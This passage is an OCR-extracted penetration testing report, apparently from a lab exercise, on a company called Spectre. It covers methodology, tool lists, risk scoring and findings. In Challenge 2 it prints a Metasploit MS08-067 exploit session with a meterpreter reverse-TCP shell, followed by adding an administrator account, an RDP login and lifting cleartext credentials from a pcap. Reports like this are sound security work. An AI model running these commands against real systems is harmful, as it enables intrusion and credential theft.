Scanning and Enumeration: The scanning and enumeration phase is usually comprise of identifying live
systems, open or filtered ports found, services running on these ports, mapping router or firewall rules,
identifying the operating system details, network path discovery, etc.

This phase involved a lot of active probing to the target systems. The Security Consultant was so careful
and used tools for these activities sensibly and not overwhelmed the target systems with excessive
traffic. All the tools used at this phase and the successive phases were thoroughly tested.

Various popular port scanners were used such as follows:
v Nmap
v SuperScan
v" Hping

After successfully identified the open ports, the running services were fingerprinted manually and by
using readily available tools. It is always a recommended practice that the Security Consultant confirmed
the exact name and version of the services running on the target system and the underlying Operating
System. This is also helped the Security Consultant in identifying and eliminating various false positives
that were found.

Various Service and OS fingerprinting tools were used such as follows:
Xprobe2

Queso

Nmap

pOf

Httprint

Amap

Winfingerprint

AN NN Y N N N

Vulnerability Analysis: After successfully identified the target systems and gathered all required details
from the above phases, the Security Consultant tried to find any possible vulnerabilities in each target
system. During this phase the Security Consultant used automated tools to scan the target systems for
known vulnerabilities. These tools usually have their own databases consisting of latest vulnerabilities
and their details.

During this phase, the Security Consultant tested the systems by supplying invalid inputs, random
strings, etc., and checked for any errors or unintended behavior in the system output. By doing so there

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
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were many possibilities that the Security Consultant came across unidentified vulnerabilities. It made
sense not to rely only on automated tools for this activity; as manual testing may more often than not,
result in some kind of vulnerability discovered.

Many good vulnerability scanners, both commercial and open-source are available. Some of them are as
follows:

Nessus

Weblnspect

Acunetix

Vega

Nikto

JoomScan

WPScan

AN N NN NN

Penetration testing is not a mere tool based activity. The Security Consultant used his expertise, lessons
learned from experience and judgment in every possible way.

ATTACK PHASE: This phase is at the heart of the penetration test activity, the most interesting and
challenging phase. This phase could further categorize as follows:

e Exploitation phase

e Privilege Escalation phase

Exploitation: During this phase the Security Consultant tried to find exploits for various vulnerabilities
found in the previous phases. There are many repositories on the internet that provide proof-of-concept
exploits for most of the vulnerabilities.

Some of them are listed below:
v'  https://www.exploit-db.com
v'  https://cxsecurity.com/exploit
v' https://www.rapid7.com/db/modules

With the programming knowledge and skill of the Security Consultant, like C (preferably Socket
Programming) and scripting languages like Perl, Python and Ruby, it helped him in understanding the
exploits.

This phase is dangerous, the Security Consultant executed properly an exploit with due professional care
in order not to bring the production system down. All exploits needed were thoroughly tested prior to
actual implementation.

Excellent exploitation frameworks were used to aid the Security Consultant in conducting the
penetration test and executing the exploits in a systematic manner. Both commercial as well as open-
source exploitation frameworks were used such as follows:

v" The Metasploit Project

v Core Security Technology’s Impact

v" Immunity’s CANVAS

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
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Apart from the tools mentioned above, SQLMap, Patator and Hydra were used for password guessing
and bruteforce the remote authentication service.

Using various tools is always recommended because there is no single tool that could do everything. The
Security Consultant made full used of all potentials of these frameworks, rather than using it for merely
running exploits. These frameworks helped reduce a lot of time in performing various penetration tests.

Most of the exploited vulnerabilities lead to root (administrative) access. In such scenario additional
steps were performed, and further analysis was required to access the risk of a particular vulnerability
caused to the target system. This is represented in feedback loop between the Attack and Discovery
phase. This loop is graphically explained as follows:

:

has been
gathered in the
discovery phase

level access was
obtained in the
last step, the

gathering
process begins
again to identify

Discovery Gaining Escalating System | Install Add.
Phase Access Privilege Browsing Test Tool
Enough data If only user- The information Additional

penetration
testing software
is installed to

to make an penetration mechanisms to gain additional
attempt to tester will now gain access to information
access the seek to gain trusted systems. and/or access.
target. complete

control of the
system (usually
defined as root
level access on
UNIX hosts and
administrative
access on
Windows NT/2k
hosts).

Figure 3: Attack Phase Steps with Loopback to Discovery Phase

Privilege Escalation: As mentioned above, there were times when a successful exploit did not lead to
root access. For example, for a particular vulnerability, the Security Consultant acquired user level
access by adding an account as administrator. An effort were made at such point to carry further
analysis on the target system to gain more information that could lead to getting administrative
privileges, e.g. local vulnerabilities, etc.

As shown in the illustration above (Figure 3), the Security Consultant needed to install additional
software that might help in getting a higher level of privilege. The Security Consultant always kept logs
and snapshots of all the activities performed, as these served as evidences in the documentation of the
final report and act as the proof of the activities executed.

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
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2.11. Exploitation

This section explains how the information security of Spectre was analyzed by the Security Consultant
and how the penetration testing was carried out and what are the testing results.

1. Vulnerability Assessment

Vulnerability Assessment used to test the organization's critical points of the internal servers for
vulnerabilities and exploits. This requires visibility to the company's servers. Vulnerabilities were
identified but exploited in a limited and controlled manner. This means that any exploits that lead to
downtime or any damage was not tested. The aim was to identify the vulnerabilities and threats that
existed in the current digital environment obtained at the audited sites. A detailed vulnerability scan
carried out on the Spectre network to un-cover vulnerabilities and articulated in this report.

The Security Consultant took the best care to provide a non-invasive test for the internal security of the
network. The following were performed during the conduct of active scans:
e lLaunched vulnerability scan to find out all the vulnerabilities of the network devices.
e The vulnerability scan was launched from client’s office.
e Internal Vulnerability Assessment — This involved running scanners and other tools from the
internal network itself to determine the vulnerabilities.

This is a proactive measure to prevent hacking of the systems from the internal employees. Internal
vulnerability assessment will only detect the vulnerabilities and provide recommendations and
procedures to close them.

2. Network Penetration Test

The network infrastructure penetration test was a technical evaluation of the security on given systems
and at the level of network devices, operating systems, network services, etc. This penetration testing
services, the Security Consultant has implemented a methodology which is based on recognized industry
standards such as the Open Source Security Testing Methodology Manual (OSSTMM), Information
Systems Security Assessment Framework (ISSAF) and the National Institute of Standards & Technology
(NIST) Special Publication 800-42 (“Guideline on Network Security Testing”) and Special Publication 800-
115 (“Technical Guide to Information Security Testing and Assessment”).

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
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Information
gathering

Exploitation Network mapping

Vulnerability Service discovery
research and fingerprinting

Figure 4: Stages of Network Penetration Testing

The following briefly describe each of these stages. It is important to note that although the process is
describe here as sequential, in practice it rather tend to be recursive where a certain phase may result in
information which makes it worthwhile to re-visit one of the other phases.

Information Gathering

The objective of this first phase of the infrastructure penetration test was to obtain as much information
as possible on the target infrastructure. This information can be very diverse, ranging from
administrative information (e.g., addresses of physical locations, personnel information, background
information, etc.) to purely technical data, such as Internet addresses, web site host names and
technical questions asked by personnel.

Various sources and tools were normally used during this phase, including the following.
e Internet search engines such as Google and Yahoo.
e Public web sites belonging to the target organization and third parties.
e Information contained on public forums and mailing lists.
e Technical information contained in e.g. domain registrar databases.

In general activities performed during this phase are non-intrusive in nature. The time spent during the
information gathering phase was shortened based on company requirements.

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
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Network Mapping

The target systems on the network infrastructure, penetration test established through IP addresses
provided to the Security Consultant and others were discovered during the information gathering phase
(and subsequently validated by the business owner). When the target systems fixed, the next step was
consists of attempting to map the extent of the target network and its topology.

Notable techniques, which typically used during this phase, include the following:
e Inspection of network routing information to discover valid network subnets.
e Ping and ARP sweeps, traffic sniffing and DNS brute-forcing to discover “live” host addresses.
o Network traffic path tracing through various means to discover gateways on the network
topology.

These activities have a higher level of aggressiveness than those used during information gathering.
However, the Security Consultant was very careful to use time-out and similar settings to ensure that
significant impact on the company’s infrastructure is avoided.

Service Discovery and Fingerprinting

When the list of candidate target hosts was gathered, an inventory of visible network services was
created. The objective was to create an accurate view of what services were accessible on the target
infrastructure from the current point-of-view of the Security Consultant, as well as meta-information
related to these services (such as identification of the software type and version where applicable).

Techniques in this phase typically include the following.
e TCP and UDP port scanning using various parameter settings, amongst others to try circumvent
firewalls and similar functionality.
e RPCscanning.
e Firewall and ACL enumeration techniques.
e |P protocol scanning.
e VPN discovery techniques.
e Service banner grabbing.

The level of intrusiveness of these techniques tends to be comparable or slightly higher than network
mapping phase. Again, the Security Consultant used due care to avoid interference with the target
infrastructure.

Vulnerability Assessment
Based on the list of visible services and hosts, various tools and techniques were used to create a list of

candidate security vulnerabilities. This includes instance of known security vulnerabilities (e.g., a known
remote code execution on system service), or new, previously unknown security vulnerabilities.

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
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Techniques involved the use of automated and semi-automated vulnerability scanning tools. This
includes generic vulnerability scanners such as Tenable’s Nessus and vulnerability scanners for particular
protocols or network services (e.g., Nikto for web servers, ike-scan for IPsec VPN services, and so on).

Vulnerability Research

As part of the Security Consultant’s commitment to deliver high-quality and efficient penetration testing
services, the Security Consultant invested in state-of-the-art tools to assists the success of the security
testing. While these tools in general provide good-quality output, this output is nevertheless still
screened by the Security Consultant to identify false-positives, and to eventually identify other issues
and correlate security vulnerabilities.

During the vulnerability research phase, the information obtained during previous phases was
consolidated and investigative work was performed to gain a better understanding of the target
environment. Also, research was performed to identify issues which have not been listed yet.

This involved the use of specific software vendor web sites, vulnerability databases, and hacker web
sites like www.exploit-db.com.

Exploitation

Following the vulnerability research — and permitted in the context of the assignment — the Security
Consultant proceeded to actually attempt the exploitation of the identified candidate security
vulnerabilities.

This involved “replaying” tests performed by automated tools, as well as the used of exploitation
frameworks such as Metasploit Framework, Core Impact, CANVAS, and custom exploit code. Also,
additional test performed such as password guessing.

The foothold on the target infrastructure was gained following a successful vulnerability exploitation --
this was used to further explore the extent of the resulting security breach, a privilege escalation
techniques used to increase the level of access.

3. Web Application Pentest

The web application penetration test is a technical assessment for web applications security point-of-
view. During this type of security test, the web application was treated as a blackbox which took a
number of inputs (such as data entered by a user) which produces web pages to be displayed to the user
after processing this input. The testing methodology adopted by the Security Consultant was aligned to
OWASP Top 10 Testing Guide and in principle, all test categories were covered during a web application
penetration test (apart from the denial-of-service related test).

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
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Information
gathering

Exploitation Enumeration

Vulnerability
assessment

Figure 5: Stages of Web Application Penetration Testing

The following describe the different phases of the testing process. Do note that in practice the testing
process is recursive, since newly obtained information may make it worthwhile to re-visit a phase which
was already passed. Furthermore, the vulnerability and attack scenarios phases were often partially
performed in parallel.

Information Gathering

The first phase of the web application testing process consists of information gathering. The objective
was to obtain as much information as possible on the target web application (and eventually its
environment) in order to obtain a better understanding of the functionalities offered by the application
and its typical use cases. Also, technical information regarding architecture and implementation were
useful at this point. Techniques used during this phase include the following.

e Internet search engines such as Google and Yahoo.

e Public web sites belonging to the target organization and third parties.

e Information contained on public forums and mailing lists.

e Information which can be obtained through e.g. Universal Business Registry (UBR), such as

published web services.

In general activities performed during this phase are non-intrusive in nature.
Enumeration

When the target application established and general information gathered, the next step consists of
discovering the nature of the web application. Strategy includes the following:

e |dentification of the different application functionality and particular features (e.g., use of
“wizard” functionality, use of CAPTCHA and the different types of resources and assets managed
by the application).

e Identification of the application interfaces. This includes the different application “pages”
(URLs), parameters, forms and cookies used by the application.

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
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e Identification of the different types of technology used by the application, and of technology-
specific features.

This type of information is usually gathered via means such as the following.

e Investigation of Web Service Description Language (WSDL) files offered by the application to
identify web service interfaces.

e “Manual” walk-throughs of the application to gain an understanding of the extent and operation
of the target web application.

e Automated “spidering” of the application, whereby a tool discovers the visible application
surface by following all application links, and extracting desired features from the resulting
application pages.

e Attempting to access non-existent directories and non-existent pages with specific file name
extensions (e.g., “.php”, “.aspx”, and so on and observing the application’s response, to try to
identify the types of technology which are used by the application.

Vulnerability Assessment

The objective of the vulnerability assessment phase was to establish a list of candidate web application
security vulnerabilities, starting from the list of identified application interfaces.

For this purpose, the Security Consultant used a number of state-of-the-art automated and semi-
automated scanning tools. These includes tools such as Nikto, WPScan, JoomScan, and Tenable’s
Nessus. Apart from these tools, manual testing also performed, e.g. using “web interceptor” tools such
as WebScarab, Web Proxy, Paros and Burp Suite.

Usually the issues addressed during this phase are situated on the level of application implementation,
and are of a more (“purely”) technical in nature.

Attack Scenarios

The vulnerability assessment phase was more centered on security vulnerabilities on the level of
application coding. To complement this, during the attack scenario phase, issues were investigated
which were typically located on a higher level, such as business logic problems, authorization check
failures, and more subtle issues relating to SQL injection, session management or authentication.

As a basis in investigating this, a number of potential attack scenarios were created following from the
list of identified application features, functionalities and interfaces. These scenarios were executed to
determine if they were applicable or not (i.e., if the relevant security vulnerabilities are present or not).

Exploitation

During the exploitation phase, candidate security vulnerabilities which were identified during previous
phases were further verified. Also, this includes investigation of additional attack vectors which
correspond to test vulnerabilities those with potential higher impact. In general, tests executed during
this phase was very diverse in nature and greatly depend on what were discovered so far.
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2.12. Reporting

The section details about the findings and assessment of vulnerabilities found by the Security
Consultant. It explains how the classification of threats and risks is made and how ratings are given. It
provides descriptions about each risk and ratings made. It serves as final conclusion about the
organization’s information system which will be the report basis to be submitted to the senior
management.

The Security Consultant weighed each management risk findings based on collective experience. The
following table summarizes the result of this analysis. Each management risk areas was assigned a risk
metric from 1 to 10 where 10 represented the highest risk to Spectre business goals and objectives as
interpreted by the Security Consultant.

Based on risk and relative cost to implement, an “ROI Group” is assigned to each management risk
initiative. Management initiatives within the same ROI group would project equal priority within the
organization. The “1” means that in the opinion of the Security Consultant, these vulnerabilities should
be the first to be remediated by Spectre; these would then be followed by the remaining groups in
numerical order.

Patch Management 9 High 1
Poor Management of Critical Systems 8 2
Default Configurations 7.5 Low 3
Password Management 6 Low 4
Information Disclosure 3.5 Low 5

The following chart compares the risk presented by the vulnerabilities identified in the management risk
findings with the relative cost of implementing the recommendations:

10
9
8
7 4
6 4
5 M Risk
4 -
3 | H Cost
2 4
1 .
O .
Patch Poor Management Default Password Information
Management of Critical Systems  Configuration Management Disclosure
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Patch management is a strategy for managing patches or upgrades for software applications and
technologies. A patch management plan can help a business or organization handle these changes
efficiently.

Poor Management of Critical Systems is a managing practice that does not conform to industry global
standards causing the IT infrastructure vulnerable to attack.

Default Configurations is the preexisting value of a user-configurable setting that is assigned to a
software application, computer program or device. Such settings are also called presets or factory
presets.

Password Management assists in implementing and generating complex passwords. Password is the
most common method for users to authenticate themselves when entering computer systems or
websites, which protects the user identity from malicious attacker and unwanted access to an account.
It acts as the first line of defense against unauthorized access, and it is therefore critical to maintain the
effectiveness of this line of defense by rigorously practicing a good password management policy.

Information Disclosure is when an application fails to properly protect sensitive information from
parties that are not supposed to have access to such information in normal circumstances. Information
disclosure issues can range in the criticality of the information leaked, from disclosing details about the
server and network environment to the leakage of administrative accounts credentials or API secret
keys, which may have devastating outcomes on the vulnerable web application or system. These type of
issues are not exploitable in most cases, but are considered as security issues because it allows an
attacker to gather information which can be used later in the attack lifecycle, in order to achieve more
than they could if they didn’t get access to such information.

The following table defines the meaning of severity level:

7-10 High — These items represent risks that represent a significant liability to the
organization if unaddressed. They can be used to further attacks, be leveraged for
system compromise, be used to eventually compromise data or may result in
furthering an attacker's penetration into the organization.

4-6 — These items represent a moderate increase in risk exposure to the
organization. They represent a smaller increase in risk than high and critical risks,
but may allow attackers to further their attacks and in combination may represent a
significant risk.

0-3 Low — These are items representing a small risk increase over the baseline. They
represent risks that the organization may consider addressing as time and funding
allows. While these are low risk, it is important for an organization to understand
that low risk items can quickly become critical under certain circumstances.
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The following table provides overall information about vulnerability factors, technical impact and risk

factor:

Flaw

Server Service Could Allow(10.10.20.2 Patch

Remote Code Execution Management

WordPress Username finance.spectreholdings.com Development 9 7 11.73 85.28

Enumeration Flaw

\Weak Password techsupport.spectreholdings.com |Configuration 9 7 11.73 85.28
Flaw

ProjectSend Arbitrary File [admin.spectreholdings.com Patch 7.5 8 7.38 109.40

Upload Management

Default Username and hr.spectreholdings.com Development 7.5 8 7.38 109.40

Password Flaw

Malicious Image File hr.spectreholdings.com Development 7 8 7.13 105.80

Upload Flaw

SQL Injection marketing.spectreholdings.com |Development 9 7.5 11.73 91.14
Flaw

Malware 172.19.20.5 Patch 5.25 8.5 6.25 98.83
Management

Unsecured Web-Based File[finance03.spectreholdings.com |Configuration 6.25 8 6.75 100.40

Manager Flaw

Unsecured FTP 172.16.16.3 Configuration 9 4.25 11.73 53.03
Flaw

Port Scan JAll Devices Configuration 9 2.25 11.73 29.58

Risk Rating Methodology

High

High
High
High
High
High
High

High

Low

There are many different approaches to risk analysis. The approach is based on standard methodologies
and is customized for application security.

The Risk Rating Methodology Steps shown (Figure 6) intended to provide a framework for
understanding the threats posed by and to an application, and as such sometimes need to be flexible.
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Risk Assessment Activities Output
Step 1.
e Risk } ( Risk Statement )
Identifying a Ri
( Step 2. )
Estimating Likelihood > C Likelihood Rating )
Step 3
Estimating Impact } C Impact Rating )
[ Step 4. N
Determining Severity of the } C Risk Determination )
— %
Step 5.
Deciding What to Fix } C Recommendations )
L L 2 J
Step 6:
Customizing Your Risk Rating > ( Tailored Risk Model )
L Model )

Figure 6: Risk Rating Methodology Steps

Step 1: Identifying a Risk

The first step in the risk rating methodology is the identification of a specific security risk. A risk
assessment considers the full spectrum of risks (i.e., the threat agent involved, the attack that will be
used, the vulnerability involved, and the impact of a successful exploit on the business.) for a given
security risk.

Step 2: Estimating Likelihood
The next step is to derive an overall likelihood rating that indicates the probability that a potential risk
may occur within the construct of the associated risk environment, the following governing factors must

be considered:

e Threat Agent Factors
e Vulnerability Factors

Each factor has a set of options, and each option has a likelihood rating from 0 to 9 associated with it.
These numbers will be used later to estimate the overall likelihood.
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Figure 8: Vulnerability Factor Scoring

Threat Agent
Factors
I
[ I I 1
Skill level Maotive Opportunity Size
Security Anonymous
. . Mo access Or resources
=l penetration High reward (9) ired (9) =t Internet users
skills (9) require )
) ossible rewar ome access or resources uthenticate
"rit"::r’:r::‘d Possibl d 5 Authenticated
— — — . —
P SEiii”S (5] 2 (4] required (7) users (6)
Advanced .
Low or no Special access or
=l computer user e et ) =4 Pariners (3)
reward (1) resources required (4)
(4)
Some technical Exp::!i:;c::;ozrrces Intranet users
skills (3) required (0] (4)
Syst
Mo technical \rs =m
kills (1) d administrators
(2)
d Developers (2)
Figure 7: Threat Agent Factor Scoring
Vulnerability
Factors
I
I | I 1
. . Intrusion
[Fase of discovery| Ease of exploit Awareness detection
Automated toals Automated tools Public knowledge o
available (9) available () () Not logged(9)
_ Logged without
- Easy (7) - Easy (5) = Obvious (6) review (8)
~ - e | _ | . | Logged and
8 Difficult (3) Difficult (3) Hidden (4) reviewed (3)
~
=
=
Yo Practically X Active detection in
3 impossible (1) —] Theoretical (1) —] Unknown (1) application (1)
o
—
c
i<l
4
(9]
>

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
organization without prior written approval from ARNEL C REYES.

38




PENETRATION TESTING REPORT

Step 3: Estimating Impact

The next major step in measuring level of risk is to determine the adverse impact resulting from a
successful threat exercise of vulnerability. There are two kinds of impacts:

e Technical impact
e Business impact

The first is the "technical impact" on the application, the data it uses, and the functions it provides. The
other is the ""business impact"" on the business and company operating the application.

Again, each factor has a set of options, and each option has an impact rating from 0 to 9 associated with
it. The Security Consultant used these numbers to estimate the overall impact.

Technical Impact

Factors
| |
I 1 1 |
Loss of . . Loss of Loss of
confidentiality Loss of integrity availability accountability
All data disclosed All data totally All services Completely
- - =4 completely lost -
(3) corrupt (9) (@) anonymaous (9]
Extensive critical Extensive seriously Extensive primary .
— — — =P cssibly t ble (7
data disclosed (7) corrupt data (7) services interrupted (7) ossibly traceable (7)
Extensive non- - " .
jd zensitive data EHtens':zngT:r - EXFE nSI}.l'etEsecontd :r'[.rS] et F LIl Iy traceable (1)
disclosed (6) corrupt da services interrupte
u Minimal critical data ] Minimal seriously ] ser\r:;i:::?ll'lgrl::a?;d
disclosed (8) carrupt data (3) (s) P
Mlm_"_'al nen- Minimal slightly Minimal secondary
=] sensitive data — | corrupt data (1) — | services interrupted (1)
disclozed (2) P P

Figure 9: Technical Impact Factor Scoring
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Business Impact

Factors
1
1 1 | | 1
l;maﬂc.lal Reputation Non-compliance Privacy violation
amage damage
Brand damage High profile Millions of
—] Bankruptcy (9) | (3) | wviclation (71 | people (3)
Significant effect on L i dwill (5 Clear violation Thousands of
annual profit (7) 055 or goadwl (5) people (7)
| | Minor effect on | | Loss of major L1 Minor vielation (2) || Hundreds of
annual profit (3) accounts (4) people (5)
L than th it
£=s than ECO%. o Minimal damage One individual
= fix the vulnerability e —
) 1) (3)

Figure 10: Business Impact Factor Scoring
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3. Comprehensive Technical Report
This section provides detailed information about all exploited vulnerabilities that were identified during
the security assessment. Each one of the reported vulnerabilities was actively exploited in order to

obtain control, elevate privileges and gain information about the vulnerable host. All findings in this
section were manually discovered and researched, with the assistance of automated tools.

3.1. Challenge 1

Vulnerability Information

Port Scan, Weak Network Security

Internal Network

LOW

Configuration Flaw

Information

Description

A port scan attack, therefore, occurs when an attacker sends packets to a machine, varying the
destination port. The attacker can use this to find out what services that are running and to get a pretty
good idea of the operating system.

Impact

A malicious attacker can identify all nodes, workstations, servers, domain controllers, web servers, Linux
machines, Windows machines, web applications, firewalls, IDS, et cetera in the network and discover all
running services. This information is the input to build a blueprint of the network infrastructure to
identity attack paths or entry points.

More Information
https://en.wikipedia.org/wiki/Port_scanner
Narrative

The Security Consultant assumed the following network diagram as an ideal current topology based on
the data from scan results.

The Security Consultant identified attack paths and potential entry points. The front office has a WiFi
connectivity, which caters the users who carry their own smartphones and laptops. Due to lack of
protection from the guest’s WiFi access point to all subnets, is possible to access including but not
limited to applications servers and departments’ workstations. An attacker can connect to the WiFi
access point to execute his/her malicious intent.
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An attacker can possibly compromise a web server in DMZ and pivot the attack towards Local Area
Network (LAN) to target applications servers and workstations as well.

The magnitude of compromise can be best visualized in Figure 11 and Figure 12.
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Figure 11: Spectre Network Diagram Option A

Aside from the above Network Diagram (Figure 11), the Security Consultant prepared another Network
Diagram (Figure 12) based on the gateway details gathered from NMap scan results, which it suggests
that gateways are PC-based running on Microsoft Windows 2003.

Note: Please refer to the Gateway to Appendix A.
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Figure 12: Spectre Network Diagram Option B

By comparing the two network blueprints (as shown in Figure 11 and Figure 12), both are identical. The
only difference of these network diagrams is the firewall/router device, Figure 11 is having firewall Core-
Switch and Figure 12 is having PC-based firewall/router.

The following table is the list of application servers:

10.10.20.4 sales.spectreholdings.com Wolf CMS, phpMyAdmin
marketing.spectreholdings.com

172.16.16.2 admin.spectreholdings.com ProjectSend

172.16.16.3 spectreholdings.com LDAP / DC / NTP <
172.17.19.4 techsupport.spectreholdings.com Joomla, phpMyAdmin g
172.19.20.3 finance.spectreholdings.com WordPress ,i
172.19.20.4 finance03.spectreholdings.com PHP File Manager =
172.20.20.2 hr.spectreholdings.com ICE HRMS §
172.20.20.3 N/A FTP =
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Note: The information from scan results may not be accurate unless verified manually on the system.
Please refer to Appendix A and to Appendix B.

Recommendations

e Implement firewall to all subnets to strictly control which ports are exposed and to whom they
are visible, this will limit the attack surface discoverable with a port scan.

e Consider to deploy internal firewall and configure the firewall to restrict inter-department
access and allow only users to have access in their own subnet or domain.

e Isolate the network for guests from the corporate and production environment.

e Disable ports and services that are not in used.

e Implement intrusion detection system (IDS) to monitor any network or systems for malicious
activity or policy violations, and intrusion prevention system (IPS) to detect hacking activity such
as port scans in progress and shut them down before they are able to gain a full map of the
network. It is a preemptive approach to network security to protect against network and
application-level attacks, securing the organizations against intrusion attempts, malware,
Trojans, DoS and DDoS attacks, malicious code transmission, backdoor activity and blended
threats to respond them swiftly.

e A recommended Spectre network infrastructure security in high-level design is illustrated in the
following diagram:
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3.2. Challenge 2

Vulnerability Information

Server Service Could Allow Remote Code Execution

Internal Network

HIGH

Patch Management

Configuration

Description

The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2, Vista Gold
and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary code via a crafted
RPC request that triggers the overflow during path canonicalization.

Impact

A malicious attacker can exploit the vulnerability by parsing the flaw in the path canonicalization code of
NetAPI32.dll through the Server Service which allows a bad actor to perform remote code execution.

More Information

https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2008-4250

Narrative

The Security Consultant was able to discover six (6) live hosts in 10.10.20.0/24 subnet using nmap. The
IP addresses discovered are as follows:

10.10.20.1

10.10.20.2 (Compromised NETAPI)
10.10.20.3

10.10.20.4

10.10.20.5

10.10.20.6 (Compromised SSH)

The Security Consultant was successfully exploited the target host using MS08-067-NETAPI which is a
service that could allow remote code execution. Below snapshots are evidences gathered as proof:

The Security Consultant used Metasploit Framework in exploiting the vulnerability and initiated a
command shell to further the attack.
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> use exploit/windows/smb/msO8 067 netapl
msf exploit( ) = set RHOST 10.10,20.2
RHOST == 10.10.20,2
msf exploit( } = set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit( ) > set LHOST 192,168.0.3
LHOST == 192,168.0.3
msf exploit( ) = exploit
Handler failed to bind to 192.168.0.3:1261
Handler failed to bind to 0.0.0.0:1261
Exploit failed: Rex::AddressInUse The address is already in use (0.0.0,0:1261).
msf exploit( ) > set LPORT 5555
LPORT == 5555
msf exploit( ) > run
Started reverse handler on 192.168.0.3:5555
Automatically detecting the target...
Fingerprint: Windows XP - Service Pack 3 - lang:English
Selected Target: Windows XP SP3 English (AlwaysOm NX)
Attempting to trigger the vulnerability...
Sending stage (769536 bytes) to 10.10.20.2
Meterpreter session 1 opened (192,168,0,3:5555 -> 10.10,20,.2:1115) at 2017-06-11 23:11:25 -0460

meterpreter >

Figure 13: Remote Shell for 10.10.20.2

The IP configuration of the exploited host shown in Figure 14.

C: \WINDOWS\system32> C:\WINDOWS\system32>
indows IP Configuration

Ethernet adapter Local Area Connection 6:

Connection-specific DNS Suffix .

IP Address. . .+ « « « « « &« & &« « & 10.10.20.2
Subnet Mask . . + « « « « + & + « | 255,255.255.0
Default Gateway . . « + « + « « . 1 10,10,20,]

C: \WINDOWS\system32> C:\WINDOWS\system32>
indows IP Configuration

Host Name . . . . . « . .

Primary Dns Suffix . . . . . .
Mode Type « « « « & & & « & & 4
IP Routing Enabled. . . . . . . .
WINS Proxy Enabled. .

Ethernet adapter Local Area Connection 6:

Connection-specific DNS Suffix

Description . . +» . + « « + + + . t Microsoft Virtual Machine Bus Network Adapter #4
Physical Address. . . . . . . . . : 00=15-5D=16-00-BD

Dhcp Enabled. . . . . . . + + . . 1 No

IP Address. . + + « + « + + + « + ¢ 10,10.20,2

Subnet Mask . . . .« « & « & & . . 1 295.255,255.0

Default Gateway . . . . . . . . . ! 10.10.20,1

DNS Servers . . : 8.8.8.8

C: \WINDOWS\system32>
Figure 14: IPConfig Information of 10.10.20.2

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
organization without prior written approval from ARNEL C REYES.

46



PENETRATION TESTING REPORT

The Security Consultant added a user account called “acrmaster” using NET USER command to escalate
the level of access. To gain administrator level privilege, the Security Consultant added the “acrmaster”
account to Administrators group using NET LOCALGROUP command. The Security Consultant used DIR
command to search interesting file like *.pcap files and successfully found a .pcap file called
NetworlTraffic.pcap the absolute path of the identified file, as shown in Figure 15.

C: \WINDOWS\system32> C:\WINDOWS\system32> The command completed successfully.

C1 \WINDOWS\system32> Ci \WINDOWS = ¢ command completed successfully.

WINDOWS\system C: \WINDOWS\system32>
ounts for

acrmaster Administrator Guest
Helen HelpAssistant SUPPORT
Tintin

he command completed with one or more errors,

Ci1 \WINDOWS\system cd

= (Cy\Documents and Settings\Administrator\My Documents\NetworkTratfic,

Figure 15: User Account Added on 10.10.20.2

The Security Consultant logged in to the target host using remote desktop client via RDP protocol on TCP
port 3389 to explore and find more interesting data that can be used to compromise other systems.

Log On to Windows

Figure 16: Remote Desktop Login for 10.10.20.2
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The following snapshot (Figure 17) provides machine details to confirm the identity of the compromised
host.

. System Properties

Hardwae:

System:
Microsoft Windows <P
Prefessional
Vession 2002
Senvce Pack 3

Regstered to
cesi
cesi
TE4E7-3416803747- 22838

Cormputes
IrtellR) ¥eordf) CPL
ESE40 @ 2676Hz
258 GHz. 1.00 GB of RAM
Physical Addiess Extension

W INDOWS\system 3 Nemd. exe

Figure 17: Machine Details of 10.10.20.2

The NetworkTraffic.pcap file was copied to the Security Consultant’s machine for further investigation
and network data traffic analysis.

® My Documents (=13
Fle Ede Vew Favortes Took Help [
Q- © & Prmeo i T
Address | (2 C:\Documents and Setbrgs\Adeistr atorMy Coosments > B
File and Folder Tasks AN ) e S T
L |—
) Male a rew folder
‘mnmﬂ:ﬂ«mu > dmskbop
eb | eesona Corfiurati
B Shass this Foldes Lol '
| Enployne tnsurance Detabi.dex | L fiotworkTraffic
Other Places _ 2 o i

) Admarmt sten
L) My Doauments
) Shared Doouments
My Computes

& My Ntk Hozes

~
—
(=]
(o]
=
>
=
(o)
o
N
—
c
2
@
—
()
>

Figure 18: NetworkTraffic.pcap File Found on 10.10.20.2
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The Security Consultant used WireShark in analyzing the packets captured on the NetworkTraffic.pcap
file. With thorough analysis of the NetworkTraffic.pcap file, the Security Consultant found user
credential in clear text, which was transmitted over HTTP protocol. The identified URL is the login page
of ICE HRMS (http://hr.spectreholdings.com/app/login.php). The account credential detail is highlighted
in Figure 19.

Eile Ed® View Go Capture Anakygze ii Telephony Iuols Intemals  Help

HHYANN EEXPE LeraT L Qeaemn EBm % 3
Filter: IEI Expression... Clear Apply Save
. Time Source Destination Protocol  Len: Infio

1430 424.180782 192.168.0.2 172.20.20.2 66 51679 > hrtp [SYN, ECN, CWR] Seq=0 Win=8192 Len=:

1431 424.184276 172.20.20.2 192.168.0.2 66 http > 51679 [SyN, ACK] Sege=0 Ack=l win=29200 Lel

1432 424,184400 102.168.0.2 172.20.20.2 54 51679 > hrep [ACK] Seq=1 Ack=1 win=65336 Len=0

1433 424.185098 “ 705 POST / S login.php HTTP/1.1  (appli

1434 424.186422 172.20.20 .0 :

1435 424.197063 192.168.0.2 192.168.0.255 NBNS 92 Name query NB WPAD<OO>

